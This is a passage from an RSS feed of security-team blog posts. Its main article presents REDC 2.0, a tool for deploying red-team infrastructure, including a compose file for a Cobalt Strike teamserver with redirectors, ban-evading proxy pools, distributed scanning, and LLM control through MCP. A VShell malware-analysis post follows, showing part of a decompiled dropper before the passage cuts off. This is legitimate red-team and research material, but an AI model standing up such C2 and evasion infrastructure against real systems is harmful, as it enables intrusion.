based on their specific business context.</p><h3>5.5 Integrating Detection into the Skill Development Pipeline</h3><p>We highly recommend making Semantic Trap Detection a standard step in the Skill development pipeline, much like static code analysis (Linting):</p><pre>Write Skill → Detect Semantic Traps → Fix / Anchor → Functional Testing → Release</pre><p>After writing the Skill, run the detector on the SKILL.md and referenced definition files. If high-risk traps appear, prioritize replacing them with narrow-boundary words. If they cannot be replaced, apply negative lists, hard output constraints, or counter-examples as suggested by the report.</p><p>The value of this workflow is: <strong>It transforms “intuition-based judgments” reliant on developer experience into repeatable, auditable automated detection steps.</strong> Even developers who haven’t read this article can effectively avoid hallucination risks caused by semantic traps simply by integrating this step.</p><h3>💡 Conclusion: Rethinking the Profound Impact of Word Choice</h3><p>Let’s return to the key data point cited at the beginning of this article: 89.3% versus 62.1%, a staggering 27 percentage point gap.</p><p>This gap was not caused by a degradation in model performance, nor by flaws in the Skill’s logical design. It stemmed from a seemingly insignificant, yet profoundly impactful choice — choosing “Risk” over “Vulnerability.”</p><p>Fundamentally, an LLM is not a deterministic machine that precisely executes commands. It is a language model trained on a massive corpus of text, where every word connects to a complex and far-reaching semantic network within its vast “cognitive world.” Some words have compact and focused networks; others are loose and diffuse. Every keyword you choose while writing a Skill subtly dictates the cognitive scope within which the LLM will “understand” and “execute” your defined task.</p><p>Choose words with precise semantic boundaries, and your Skill’s constraint system acts like a highly efficient funnel, precisely guiding the LLM’s attention and output in your desired direction. Choose words with excessively broad semantic boundaries, and even the most exquisitely designed workflow system will eventually be burst open from the inside.</p><p>Therefore, the next time you write a Skill, before investing massive effort into tweaking workflows and formatting Prompts, take a moment to stop and seriously examine the keywords you are using — <strong>Are they really the same size in the LLM’s cognitive world as you think they are?</strong></p><p>link:<a href="https://sumsec.me/2026/%E5%88%AB%E8%AE%A9%E5%A4%A7%E6%A8%A1%E5%9E%8B_%E6%83%B3%E5%A4%AA%E5%A4%9A_%EF%BC%9ASKILL%E5%BC%80%E5%8F%91%E4%B8%AD%E7%9A%84%E8%AF%AD%E4%B9%89%E9%99%B7%E9%98%B1%E4%B8%8E%E6%8A%97%E5%B9%BB%E8%A7%89%E8%AE%BE%E8%AE%A1.html">https://sumsec.me/2026/%E5%88%AB%E8%AE%A9%E5%A4%A7%E6%A8%A1%E5%9E%8B_%E6%83%B3%E5%A4%AA%E5%A4%9A_%EF%BC%9ASKILL%E5%BC%80%E5%8F%91%E4%B8%AD%E7%9A%84%E8%AF%AD%E4%B9%89%E9%99%B7%E9%98%B1%E4%B8%8E%E6%8A%97%E5%B9%BB%E8%A7%89%E8%AE%BE%E8%AE%A1.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=254aeafb56ff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[REDC 2.0 Red Team Infrastructure
Multi-Cloud Automation]]></title>
            <link>https://wgpsec.medium.com/redc-2-0-red-team-infrastructure-multi-cloud-automation-18195f137dd4?source=rss-8f7cabea8024------2</link>
            <guid isPermaLink="false">https://medium.com/p/18195f137dd4</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[red-team-tools]]></category>
            <category><![CDATA[cloud]]></category>
            <dc:creator><![CDATA[WgpSec]]></dc:creator>
            <pubDate>Wed, 28 Jan 2026 06:05:54 GMT</pubDate>
            <atom:updated>2026-01-28T06:05:54.906Z</atom:updated>
            <content:encoded><![CDATA[<h3>Foreword</h3><p>At the end of 2025, we open-sourced version 1.0 of redc. Previous versions were only used internally within our team. After open-sourcing, we faced many issues such as compatibility, templates, and cumbersome compilation/usage… To address these problems, we have released redc 2.0.</p><p>In version 2.0, we have added more convenient usage methods, template repositories, AI support, and Compose multi-template orchestration…</p><h3>What’s New in Redc 2.0</h3><h3>Automated LLM Solutions</h3><p>We designed and integrated MCP and skill prompts, allowing LLMs to possess the capability to call Red Team infrastructure, achieving more functionalities.</p><p>Additionally, we can manage the cloud resources used and check their status.</p><pre>redc mcp sse</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aFOdffR40LNf3XKK.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oLTTbhEOUALo1MEE.png" /></figure><h3>AI Generated Templates</h3><p>Scenarios are highly repetitive, or the logic isn’t that complex. Can I let AI write it?</p><p>Of course, no problem. Just talk to the AI, and you can generate the required scenario in one sentence.</p><pre>Refer to the current template writing tutorial to implement a scenario for deploying a Yakit server on Alibaba Cloud. You can reference the implementation logic of the yakit_Install function in the f8x script at ffffffff0x/f8x@main/f8x#L8550. Since it uses an OSS storage bucket, the download of the Yakit server in this scenario does not require a separate GitHub proxy link configuration.</pre><p>Let AI write a Volcano Engine ECS scenario.</p><ul><li><a href="https://github.com/wgpsec/redc-template/issues/14"><strong>https://github.com/wgpsec/redc-template/issues/14</strong></a></li><li><a href="https://github.com/wgpsec/redc-template/pull/15"><strong>https://github.com/wgpsec/redc-template/pull/15</strong></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cl47V9c-gK-yDQri.png" /></figure><p>Let AI write a Yakit server scenario.</p><ul><li><a href="https://github.com/wgpsec/redc-template/issues/8"><strong>https://github.com/wgpsec/redc-template/issues/8</strong></a></li><li><a href="https://github.com/wgpsec/redc-template/pull/9"><strong>https://github.com/wgpsec/redc-template/pull/9</strong></a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KsoYC4wYKA4qI7Ea.png" /></figure><h3>Docker-like Operational Paradigm</h3><p>In the new 2.0 version, we referenced the commands used by Docker to lower the learning curve.</p><p>The redc engine is designed with four Docker-like states.</p><p><strong>State</strong> <strong>Initialize</strong> <strong>Plan/Create</strong> <strong>Start</strong> <strong>Stop</strong> tf state tf init tf plan tf apply tf destroy case display / created running stopped redc command redc init redc plan redc run [casename] redc stop [caseid] Description Calls Terraform to download all Provider plugins required by the template, speeding up subsequent deployments Builds the template, injects parameters, builds the task template, and calls tf plan to generate a plan file Starts the service according to the plan generated in the initialization phase and displays resource changes Destroys cloud services</p><h3>Pull New Scenarios with redc pull</h3><p>In redc version 2.0, you can directly use the pull command to fetch required scenarios.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nhBU0zYmBTjss_-l.png" /></figure><p>After pulling, you can run it locally to start immediately.</p><h3>Redc Registry Site</h3><p>We have built a scenario repository to make it easier for users to quickly find their desired scenarios.</p><p><a href="https://redc.wgpsec.org/"><strong>https://redc.wgpsec.org</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r1DqYWEJulrPOLsg.png" /></figure><h3>Compose Orchestration Scenarios</h3><p>We designed redc compose, similar to Docker Compose, allowing users to orchestrate scenarios using templates based on their needs. It is suitable for complex, sequentially dependent, and multi-region deployment scenarios.</p><p>Examples include C2 redirectors, multi-service deployments, and complex multi-node deployment builds.</p><pre>version: &quot;3.9&quot;<br><br># ==============================================================================<br># 1. Configs: Global Configuration Center<br># Purpose: Define reusable static resources, redc will inject them into Terraform variables<br># ==============================================================================<br>configs:<br>  # [File type] SSH public key<br>  admin_ssh_key:<br>    file: ~/.ssh/id_rsa.pub<br><br>  # [Structure type] Security group whitelist (will be serialized to JSON)<br>  global_whitelist:<br>    rules:<br>      - port: 22<br>        cidr: 1.2.3.4/32<br>        desc: &quot;Admin Access&quot;<br>      - port: 80<br>        cidr: 0.0.0.0/0<br>        desc: &quot;HTTP Listener&quot;<br>      - port: 443<br>        cidr: 0.0.0.0/0<br>        desc: &quot;HTTPS Listener&quot;<br><br># ==============================================================================<br># 2. Plugins: Plugin Services (Non-compute resources)<br># Purpose: Cloud resources independent of servers, such as DNS resolution, object storage, VPC peering, etc.<br># ==============================================================================<br>plugins:<br>  # Plugin A: Alibaba Cloud DNS resolution<br>  # Scenario: After infrastructure starts, automatically point domain to Teamserver IP<br>  dns_record:<br>    image: plugin-dns-aliyun<br>    # Reference externally defined provider name<br>    provider: ali_hk_main<br>    environment:<br>      - domain=redteam-ops.com<br>      - record=cs<br>      - type=A<br>      - value=${teamserver.outputs.public_ip}<br><br>  # Plugin B: AWS S3 storage bucket (Loot Box)<br>  # Scenario: Only enabled in production environment (&#39;prod&#39;), used to store returned data<br>  loot_bucket:<br>    image: plugin-s3<br>    profiles:<br>      - prod<br>    provider: aws_us_east<br>    environment:<br>      - bucket_name=rt-ops-2026-logs<br>      - acl=private<br><br># ==============================================================================<br># 3. Services: Case Scenarios<br># ==============================================================================<br>services:<br><br>  # ---------------------------------------------------------------------------<br>  # Service A: Core Control End (Teamserver)<br>  # Features: Always starts (no profile), includes complete lifecycle hooks and file transfer<br>  # ---------------------------------------------------------------------------<br>  teamserver:<br>    image: ecs<br>    provider: ali_hk_main<br>    container_name: ts_leader<br><br>    # [Configs] Inject global configuration (tf_var=config_key)<br>    configs:<br>      - ssh_public_key=admin_ssh_key<br>      - security_rules=global_whitelist<br><br>    environment:<br>      - password=StrongPassword123!<br>      - region=ap-southeast-1<br><br>    # [Volumes] File upload (Local -&gt; Remote)<br>    # Execute immediately after machine SSH is connected<br>    volumes:<br>      - ./tools/cobaltstrike.jar:/root/cs/cobaltstrike.jar<br>      - ./profiles/amazon.profile:/root/cs/c2.profile<br>      - ./scripts/init_server.sh:/root/init.sh<br><br>    # [Command] Instance internal auto-start<br>    command: |<br>      chmod +x /root/init.sh<br>      /root/init.sh start --profile /root/cs/c2.profile<br><br>    # [Downloads] File return (Remote -&gt; Local)<br>    # Grab credentials after startup completes<br>    downloads:<br>      - /root/cs/.cobaltstrike.beacon_keys:./loot/beacon.keys<br>      - /root/cs/teamserver.prop:./loot/ts.prop<br><br>  # ---------------------------------------------------------------------------<br>  # Service B: Global Proxy Matrix (Global Redirectors)<br>  # Features: Matrix Deployment + Profiles<br>  # ---------------------------------------------------------------------------<br>  global_redirectors:<br>    image: nginx-proxy<br><br>    # [Profiles] Only start in specified mode (e.g., redc up --profile prod)<br>    profiles:<br>      - prod<br><br>    # [Matrix] Multiple Provider references<br>    # redc will automatically split into:<br>    # 1. global_redirectors_aws_us_east<br>    # 2. global_redirectors_tencent_sg<br>    # 3. global_redirectors_ali_jp (assuming this exists in providers.yaml)<br>    provider:<br>      - aws_us_east<br>      - tencent_sg<br>      - ali_jp<br><br>    depends_on:<br>      - teamserver<br><br>    configs:<br>      - ingress_rules=global_whitelist<br><br>    # Inject current provider&#39;s alias<br>    environment:<br>      - upstream_ip=${teamserver.outputs.public_ip}<br>      - node_tag=${provider.alias}<br><br>    command: docker run -d -p 80:80 -e UPSTREAM=${teamserver.outputs.public_ip} nginx-proxy<br><br>  # ---------------------------------------------------------------------------<br>  # Service C: Attack/Scan Nodes<br>  # Features: Attack mode specific<br>  # ---------------------------------------------------------------------------<br>  scan_workers:<br>    image: aws-ec2-spot<br>    profiles:<br>      - attack<br>    deploy:<br>      replicas: 5<br>    provider: aws_us_east<br>    command: /app/run_scan.sh<br><br># ==============================================================================<br># 4. Setup: Joint Orchestration (Post-Deployment Hooks)<br># Purpose: After all infrastructure is Ready, execute cross-machine registration/interaction logic<br># Note: redc will automatically skip related tasks for services not started based on currently activated Profile<br># ==============================================================================<br>setup:<br><br>  # Task 1: Basic check (always execute)<br>  - name: &quot;Check Teamserver status&quot;<br>    service: teamserver<br>    command: ./ts_cli status<br><br>  # Task 2: Register AWS proxy (only effective in prod mode)<br>  # Reference split instance name: {service}_{provider}<br>  - name: &quot;Register AWS proxy node&quot;<br>    service: teamserver<br>    command: &gt;<br>      ./aggressor_cmd listener_create <br>      --name aws_http <br>      --host ${global_redirectors_aws_us_east.outputs.public_ip} <br>      --port 80<br><br>  # Task 3: Register Tencent proxy (only effective in prod mode)<br>  - name: &quot;Register Tencent proxy node&quot;<br>    service: teamserver<br>    command: &gt;<br>      ./aggressor_cmd listener_create <br>      --name tencent_http <br>      --host ${global_redirectors_tencent_sg.outputs.public_ip} <br>      --port 80<br><br>  # Task 4: Register Aliyun proxy (only effective in prod mode)<br>  - name: &quot;Register Aliyun proxy node&quot;<br>    service: teamserver<br>    command: &gt;<br>      ./aggressor_cmd listener_create <br>      --name ali_http <br>      --host ${global_redirectors_ali_jp.outputs.public_ip} <br>      --port 80</pre><p>The effect of compose is as follows:</p><ul><li>Preview configuration</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RQKE74fCUC7tHr7E.png" /></figure><ul><li>Start orchestration service</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TnCZ1Re1ZnrSd4tP.png" /></figure><p>Having shared the new changes in 2.0 with old friends, I would like to introduce the concepts and features of the redc project to new friends.</p><h3>Why Redc</h3><p>REDC — Red Team Multi-Cloud Infrastructure Automation Tool</p><p>In daily Red Team operations, we often fall into this cycle: buying VPS, logging into servers, configuring environments, downloading scripts, debugging errors…</p><p>Once set up with great difficulty, the IP gets blocked as soon as scanning speeds up. You have to switch IPs constantly; the self-built proxy pool has IPs that mostly don’t work, and the access speed is too slow. The purchased VPS runs countless services: FRP, JNDI, occasional Nuclei scans, plus running CS/Vshell, file services… having multiple machines running without being fully utilized is wasteful. The deployed C2/DNSLog gets flagged by threat intelligence just 3 days after being launched!</p><p>When a project ends, these machines are either forgotten and continue to incur charges, or are manually destroyed, requiring reconfiguration when the next project starts. Keeping the configuration via cloud disk pay-as-you-go services isn’t very cost-effective either.</p><p>Facing high-frequency attack and defense drills and increasingly strict defensive strategies (such as IP banning, threat intelligence tagging), single-machine infrastructure can no longer sustain confrontation against systematic defense. We must shift to a <strong>disposable, distributed, multi-cloud mode</strong>. As the saying goes, “missing one item breaks the chain”; the integrity of infrastructure is the cornerstone of successful operations.</p><p>To solve these pain points, we developed a Red Team multi-cloud deployment tool, Redc, to achieve “Infrastructure as Code” (IaC) engineering capabilities.</p><p>Redc has performed well in internal team applications and received praise from many experts. We plan to contribute it to the community to end the era of reinventing the wheel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/0*8axQM09VfoWEDh2t.png" /></figure><p>We hope to improve Redc and expand more application scenarios through community ecosystem co-construction.</p><p>Let infrastructure automation become a Red Team essential.</p><h3>Redc Design Philosophy</h3><p>Redc is developed based on the IaC (Infrastructure as Code) philosophy. It defines all cloud resources as code. Infrastructure configurations such as servers, networks, and storage are written as code — written once, reused long-term, with no human intervention required, reducing configuration errors and easily achieving multi-cloud resource scheduling.</p><p>Terraform is an open-source IaC tool that supports automated deployment of cloud services through configuration language, using configuration files ending in .tf which use HCL language.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*af2O5q313O08e6Ad.png" /></figure><pre># Terraform code snippet<br>provider &quot;aws&quot; {<br>  region = &quot;ap-east-1&quot;<br>}<br>resource &quot;aws_instance&quot; &quot;node&quot; {<br>  count = &quot;${var.node_count}&quot;<br>  launch_template {<br>  id = &quot;TemplateID&quot;<br>}<br>instance_type = &quot;t3.micro&quot;<br>user_data                   = &lt;&lt;EOF<br># Custom initialization script...<br>EOF<br>}</pre><p>The Terraform scenario lifecycle can be simplified to (actually there are more, but we can focus on these 4):</p><pre>Initialize -&gt; Plan -&gt; Apply -&gt; Destroy<br> Init   Plan    Apply    Destroy</pre><h3>What Problems Does Redc Solve?</h3><p>Redc is encapsulated based on Terraform, further simplifying the complete lifecycle (creation, configuration, destruction) of Red Team infrastructure.</p><p>Single-machine environment deployment scripts like f8x are initialization scripts run after the server starts. They are useful but do not solve the problem of “acquiring and managing resources from 0 to 1”.</p><p>Redc is not just an installation tool, but an automated scheduler for cloud resources!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*LebRJrez_vQHHuy-.png" /></figure><p>Based on Redc, we have achieved:</p><ul><li><strong>One-command delivery</strong>: From purchasing machines to running services in one go, without human intervention.</li><li><strong>Multi-cloud deployment support</strong>: Adapted to mainstream cloud providers like Alibaba Cloud, Tencent Cloud, AWS, etc.</li><li><strong>Pre-packaged scenarios</strong>: Red Team environment “Pre-cooked Meals”, no need to search for resources everywhere.</li><li><strong>State resource management</strong>: Local preservation of resource states, enabling environment destruction at any time to eliminate wasted resource costs.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/0*ZojqNP0YeJsuw02f.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/0*sV1_IR0j2JECaLSi.png" /></figure><p>1. Statistics based on data from years 22, 23, and 24</p><p>2. Scenarios refer to: C2, DNSLog, Java exploitation, File delivery, Collaboration tools, Proxy pools, Scanning tools, Intranet penetration</p><h3>Cost Saving</h3><p>Redc uses the following schemes to save costs:</p><p><strong>Preemptible/Spot Instances</strong></p><p>Utilizing idle resources from public clouds at low cost, prices float in real-time, saving up to 90% compared to pay-as-you-go. They are interrupted and reclaimed when inventory is insufficient or the bid is lower than the market price.</p><p>Suitable for short-term, interruptible, high-tolerance businesses. Not suitable for databases or tasks requiring long-term stable operation, but our proxy pool scenarios and scanning node scenarios fit these instances perfectly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/0*7DC6yD_hKEZk2ny_.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/876/0*JOziXadhjrFxx9Rc.png" /></figure><p><strong>R2 Storage Global Back-to-Origin</strong></p><p>A large number of scenarios require static file dependencies, such as JDK, C2 server side, frontend compilation packaging, etc. Utilizing Cloudflare R2 object storage solution with no egress fees, storing large files in R2 and updating/maintaining them via redc allows static resource traffic costs to drop to 0.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/0*FjTRvWO954StoMyd.png" /></figure><h3>Security Configuration</h3><p>AWS scenarios enable IMDSv2, requiring a Token when acquiring metadata, effectively defending against AK/SK leakage caused by SSRF attacks.</p><blockquote><strong><em>❝</em></strong></blockquote><blockquote><em>Old Version (IMDSv1): curl 169.254.169.254 directly accesses metadata.</em></blockquote><blockquote><em>New Version (IMDSv2): Must first PUT to acquire a TOKEN, then carry it in the Header to access, significantly reducing leakage risk.</em></blockquote><p>After user_data initialization is complete, access to metadata is prohibited via iptables configuration, completely eliminating metadata SSRF risks.</p><p>Except for some machines that require SSH login for use, all adopt SSH key configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/0*SKGwZozTf-Yi-zJ9.png" /></figure><h3>Application Scenarios</h3><p>Redc is not a simple Terraform wrapper; we have deeply customized it for Red Team operational scenarios based on years of experience.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*n-I_hF21JL9IRK1Z.png" /></figure><h3>Scenario Design</h3><p>In Redc, we designed two types of scenarios: Basic Scenarios and Complex Scenarios. There is also Scenario Orchestration based on these two.</p><p><strong>Basic Scenarios</strong></p><p>Scenarios where a single machine can meet the requirements are classified as basic scenarios. These scenarios do not need to consider multi-availability zone deployment or multi-machine configuration. You only need to select the tf template according to specifications and configure it quickly through user_data.</p><p>Examples include Java exploitation, intranet penetration servers (FRP), file services, etc.</p><p><strong>Complex Scenarios</strong></p><p>Modified from basic scenarios, compatible with multi-availability zone deployment and adapted with a large number of scripts.</p><p>Examples include DNSLog, Proxy Pools, etc.</p><p><strong>Compose Orchestration Scenarios</strong></p><p>Scenario orchestration form.</p><h3>High Cost-Performance Self-built Proxy Pool</h3><p>Traditional self-built proxy pool solutions often use FOFA queries to obtain IP sources, or various crawlers to scrape them, followed by local scripts for rotation. Switching is troublesome, maintenance is troublesome, and concurrency speed and availability are hard to meet needs.</p><p>Most critically, transmission security cannot be guaranteed during use. However, purchasing commercial proxy pools often faces problems such as high IP reuse rates, limited bandwidth, and lack of IPv6 support.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/0*zFWXPwCj2q-cTtHC.png" /></figure><p>For proxy pool scenarios, we designed a deployment scheme compatible with multi-availability zones and hybrid clouds (Alibaba Cloud, Tencent Cloud, AWS, etc.) with hybrid nodes. After deployment, it automatically generates Clash-compatible configurations and uploads them to storage buckets for online subscription. Achieving dedicated IPs, stable connections with no packet loss, and no upper limit on concurrency!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/237/0*afc6-9r7H3QMnWPw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/0*ZUnl1kRZ9Ax0ktgH.png" /></figure><p>Based on redc, we can utilize cloud providers’ Preemptible Instances (Spot Instances) to build extremely low-cost, high-quality proxy pools, achieving fast startup, automatic load balancing, and extreme cost efficiency.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/0*Cp7Bzgs6M7EivtH2.png" /></figure><p>In actual combat scenarios, launching 50 proxy nodes takes only 1–2 minutes. After deployment is complete, a Clash configuration file is automatically generated. Combined with load balancing strategies, it achieves automatic IP switching for each request. Taking 50 nodes running for 8 hours as an example, the machine cost is only about ¥9. In an actual drill, the investment in proxy pools does not exceed ¥500, but the IP usage far exceeds 10,000.</p><p>RedC Self-built Proxy Pool Traditional Self-built Proxy Pool Scheme Certain Proxy Service Dedicated IP Unsafe IP Source Shared IP Pool No Concurrency Limit Unfixed Concurrency Concurrency 100 times/s Bandwidth 100Mbps Bandwidth Not Guaranteed Bandwidth 50Mbps Supports IPv6 Does not support IPv6 Needs separate purchase Cost approx. ¥2 per hour No Cost Cost ¥133 per hour</p><p>The startup method is also very simple, handled easily with one command!</p><pre># Start Alibaba Cloud proxy pool, specify node count as 10<br>redc run aliyun/proxy -e node=10</pre><pre># Start AWS proxy pool, use -e parameter to customize node count, e.g., open 10 nodes<br>redc run aws/proxy -e node=10</pre><h3>Automated C2 Facilities</h3><p>Deployment of C2 facilities usually involves complex configurations (such as obfuscation, front-end nodes, certificates, etc.). redc uses a template-based design, supporting one-click deployment of environments like CS, Sliver, Supershell, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/0*4xUkEdoJ1TjaW3hZ.png" /></figure><pre># Start CS scenario, specify node count and camouflage domain<br>redc compose up</pre><h3>Distributed Scanning Platform</h3><p>Traditional reconnaissance/scanning often uses proxies or single-machine VPS for scanning. Platforms like ARL and Nemo are deployed on the VPS for automated information gathering. However, as drill targets have gradually increased in recent years, single-machine scanning severely slows down the pace of reconnaissance due to speed and anti-ban countermeasures. Often, by the time results are scanned and you enter the host, you see traces left by other teams.</p><p>Why not try using automated deployment to quickly spin up scanning nodes, realizing a low-cost distributed scanning solution?</p><p>redc supports deploying distributed scanning clusters. Scanning nodes all use Preemptible Instances (Spot Instances), allowing for distributed scaling at will based on task volume, with native support for IPv6 assets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BBTZn2F0FMEVHCo9.png" /></figure><p>The scanning platform spun up by automated deployment balances costs while greatly improving the speed of scanning and the timeliness of results. In actual projects, it is on average 30–40 times faster than single-machine scanning. Moreover, due to dispersed node IPs, fingerprinting and liveness detection trigger fewer IP bans, resulting in more scan results.</p><p>RedC Self-built Scanning Platform Single Machine VPS Scanning Vendor SaaS Penetration Platform Unlimited Nodes 1 Unit Purchase by Node 10k asset scan time within 5 hours 7–12 days Controlled within hours based on node count Distributed Scalable Not scalable, manual scan script execution Distributed Scalable Supports IPv6 Does not support IPv6 Supports IPv6 Cost per project approx. 300 CNY Approx. 20–40$ per month based on config Negotiated separately</p><h3>Cloud-based Passive Scanning Platform Solution</h3><p>Referencing xray, we implemented a platformized, team-collaborative SaaS passive scanning platform.</p><p>The server + scanning nodes are all deployed automatically using Redc, with nodes using Preemptible Instances (Spot Instances) for extremely low cost.</p><ol><li>Achieves traffic offloading; normal browsing locally while packets are mirrored to the cloud for processing, avoiding traffic bottlenecks caused by upstream proxies.</li><li>Supports multi-level sub-path + high-risk component fingerprint discovery, achieving the functions of OneScan and RouteVulScan.</li><li>Supports sensitive packet matching functions, implementing Hae and Keydd rules, so you no longer worry about giant JS files causing Burp Suite to lag.</li><li>Automatic URL de-duplication for multiple users browsing sites, eliminating worries about missed spots or incomplete payloads, aligning external network reconnaissance capabilities.</li><li>Two sets of proxy pools for local and cloud; passive traffic uniformly exits through the passive proxy pool, so local client access IP won’t be banned due to scanning.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_ZuymjM-dRVmScRV.png" /></figure><h3>Rapid DNSLog Configuration</h3><p>Through Cloudflare API calls and pre-configuration, DNSLog backend and CNAME configurations can be quickly deployed before a project.</p><pre>redc run aws/dnslog -e domain=dnslog.com</pre><pre># domain is your dnslog domain</pre><h3>Quick Start</h3><p>redc is a command-line tool written in Go. We optimized the usage method in version 2.0. The commands in this article may change; please refer to the official website redc.wgpsec.org and GitHub repository for the latest detailed usage documentation: <a href="https://github.com/wgpsec/redc"><strong>https://github.com/wgpsec/redc</strong></a></p><h3>Installation</h3><p><strong>Brew Installation</strong></p><pre>brew install wgpsec/tap/redc</pre><p><strong>Manual Installation</strong></p><p>Download the binary file via <a href="https://github.com/wgpsec/redc/releases"><strong>https://github.com/wgpsec/redc/releases</strong></a></p><p>It can be used by configuring environment variables or directly using the binary file.</p><h3>Configuration</h3><p>redc requires configuring the AK/SK of cloud providers. We offer two configuration methods.</p><p><strong>Configuration File</strong></p><p>An empty configuration file will be generated in the user directory upon the first run.</p><p>If using the binary file, you can create a configuration file named config.yaml yourself. redc will prioritize reading the configuration file next to the binary program.</p><p><strong>Environment Variables</strong></p><p>Use directly by configuring environment variables.</p><pre>export ALICLOUD_ACCESS_KEY=&quot;&lt;AccessKey ID&gt;&quot;<br>export ALICLOUD_SECRET_KEY=&quot;&lt;AccessKey Secret&gt;&quot;</pre><h3>Running</h3><p>First, we need to download templates. More templates can be found at <a href="https://redc.wgpsec.org/"><strong>https://redc.wgpsec.org</strong></a></p><pre>redc pull aliyun/ecs</pre><p>(Optional) It is recommended to initialize first when downloading a template for the first time to facilitate subsequent rapid deployment. Of course, running directly is also fine, but it might be slower as it needs initialization.</p><pre>redc init</pre><p>A scenario can be quickly started with a single command. After successful creation, the current machine connection information will be returned.</p><pre>redc run aliyun/ecs</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oEX2QaCMd5ziavRy.png" /></figure><p>Execute system command directly.</p><pre>redc exec xxx whoami</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UyjcC48uz53lpsPc.png" /></figure><p>After starting the scenario, we can enter interactive mode via exec -t.</p><pre>redc exec -t xxx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Dut0Kghq535CZJsT.png" /></figure><pre>redc cp test.txt [caseid]:/root/</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Dyc8qhcmm0xIB7rN.png" /></figure><h3>Postscript</h3><p>The integrity of infrastructure is the cornerstone of successful operations. Shifting from manual operations to IaC automated operations is not just for “slacking off”, but to liberate Red Team time from repetitive labor and invest it in more valuable attack and defense confrontations.</p><p>Currently, the template library and core engine have been open-sourced in the team’s GitHub repository, ending the era of everyone reinventing the wheel. Experts are welcome to contribute and improve redc templates together, adding more useful and practical scenarios.</p><ul><li><a href="https://github.com/wgpsec/redc"><strong>https://github.com/wgpsec/redc</strong></a></li><li><a href="https://github.com/wgpsec/redc-template"><strong>https://github.com/wgpsec/redc-template</strong></a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18195f137dd4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[killing that VShell]]></title>
            <link>https://wgpsec.medium.com/killing-that-vshell-4f046eabc4ea?source=rss-8f7cabea8024------2</link>
            <guid isPermaLink="false">https://medium.com/p/4f046eabc4ea</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[vshell]]></category>
            <dc:creator><![CDATA[WgpSec]]></dc:creator>
            <pubDate>Tue, 06 Jan 2026 05:11:41 GMT</pubDate>
            <atom:updated>2026-01-06T05:12:29.871Z</atom:updated>
            <content:encoded><![CDATA[<h3>Intro</h3><p>Recently, having nothing to do, and since I have Codex and Github Copilot Pro, I thought I’d try some reverse engineering work within my capabilities. The first target is the “open source” C2 favorite — — VShell.</p><h3>From Trojan to Trojan</h3><p>As a place full of cracked versions, you can easily get the software itself. VShell itself is obfuscated. Compared to the server itself, the generated trojan is simpler, so drag it into IDA and start IDA-PRO-MCP.</p><blockquote><em>This article uses the ws protocol linux amd64 trojan as an example for explanation.</em></blockquote><h4>Stager (Stage 1 Trojan)</h4><p>Generally speaking, the VShell trojan comes online via a quick online code. When the listener is created, it generates an HTTP endpoint like /slt /swt /slw /sww, allowing hackers to use certutil and curl to download the script and execute the trojan to go online.</p><p>The secondary online url looks like http://host:port/?h=hostname&amp;p=80&amp;t=ws&amp;a=l64&amp;stage=true. These parameters for downloading the stage url can be modified and still download normally.</p><p>The online trojan is the first stage trojan. As a first stage trojan, it is very simple, actually just a dropper that downloads the official trojan and loads it into memory.</p><p>For Linux, it looks like this.</p><pre>int __fastcall main(int argc, const char **argv, const char **envp)<br>{<br>/* args define */</pre><pre>  if ( !access(&quot;/tmp/log_de.log&quot;, 0) ) # check /tmp/log_de.log exists<br>    exit(0);</pre><p>Initialization gets whether the /tmp/log_de.log file exists. <strong>If the file exists</strong>: access returns 0 -&gt; condition is true -&gt; execute exit(0) -&gt; <strong>Program ends directly</strong>.</p><pre>*(_QWORD *)&amp;addr.sa_family = 405798914;<br>  *(_QWORD *)&amp;addr.sa_data[6] = 0;<br>  hostbyname = gethostbyname(&quot;xxx.xxx.xxx.xxx&quot;);<br>  if ( hostbyname )<br>    v4 = **(_DWORD **)hostbyname-&gt;h_addr_list;<br>  else<br>    v4 = 